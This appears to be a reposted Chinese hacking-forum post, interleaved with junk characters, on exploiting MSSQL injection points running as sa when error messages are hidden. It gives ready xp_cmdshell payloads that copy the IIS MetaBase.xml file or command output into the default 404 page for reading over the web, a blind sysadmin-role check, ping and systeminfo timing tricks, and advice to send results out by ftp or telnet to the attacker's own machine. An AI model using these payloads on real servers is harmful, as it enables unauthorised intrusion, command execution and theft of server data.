遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
. D% r8 r" O. z/ f) Z
3 Y1 O2 ^7 p) x5 V# V( w% _ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
# v/ X, t! P) Q
) W) s! B/ k T9 V; q" c6 r 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
5 B: y! F" o1 m' Q8 w
# \% X& X0 W# W9 s IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm/ u. t) Y. t6 Q
^# e' f* J! ^9 l
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
0 D3 \ l+ F4 g$ m2 x) W& b# I3 m' \1 _5 v w9 o
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
3 N7 T3 E; \5 G/ J. @! B% c: U- k E) j8 I; w r: K, h
执行命令得到回显: h# v* z8 H4 P$ d: H$ I
5 g) A0 a2 G8 Y' b1 j
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--2 {" G7 L( b5 u7 @5 H; y1 d
}0 u2 Q! @; k0 s s4 r% v* ^ 得到文件也shi相同,把文件copy到404b.htm就行了8 O8 R2 G3 O' `
" c& L) r0 V& O1 i
by 28ice, 2008/6/26
. I9 k9 t1 f7 ^5 h+ _
- k& B7 F0 ~$ f: } 摘自 28度的冰0 r- R% B, w0 J3 o
Q! l4 Y, a- R4 {% I 盲注判断权限和操作系统版本
" Y+ T: b; g. |8 T- d; ]6 H+ |, Q2 [1 T4 I5 ?7 q0 x
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
, ~: r1 \6 S* x+ t* b# C- M( p ^- z
最简单的,可能以用这样的方法:+ c$ } }$ q8 X x: A! i
( R# i; X+ ]" C3 w. Q0 m
1=(select IS_SRVROLEMEMBER(’sysadmin’))% B& P) X% Q0 Y6 |! X" }8 p
! N3 _4 w; A, |$ B: K& `% z 当然,有些情况下,这个方法并不奏效。( W; @$ r" m+ [& L! ^& Z# D' w
: S8 o$ ?% s9 C! E7 f- V Y
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
5 v6 i' x$ b' u* E* I6 C, V
( D. V, ~% F% l. b 有个3办法可能以解决这个问题
/ l0 O1 U" s7 L* d- E* m0 a3 P7 |: ~+ R# [/ [* E
a.把执行结果写到404b.htm,具体请看我的上一篇文章
1 P- y8 x7 S# y& e, f
* D4 g3 m0 K" O. m6 ~3 m b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟+ v ~# x: \- ^3 ]$ p
. Z2 L( |. {1 \* E c.如果1433端口可能以连接,那干脆新建个sql登录1 S6 z9 r; Y( p1 `, R
: l! Y4 J# ~ m( N g! l# K d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
/ G* |0 A2 }" ?# q* R
# K, O0 a( j, ^ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下9 g, _2 O9 v* O- O. w! i9 d: ~
7 T( d; b" H0 V. z
很简单
7 ?1 v0 }4 G+ `" A2 x0 U
$ V6 S0 s+ f4 V 执行systeminfo
7 G3 o5 y6 g* c2 J% Q/ H8 C' Z, w- n Y/ w) N. V6 P) Z4 Z
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |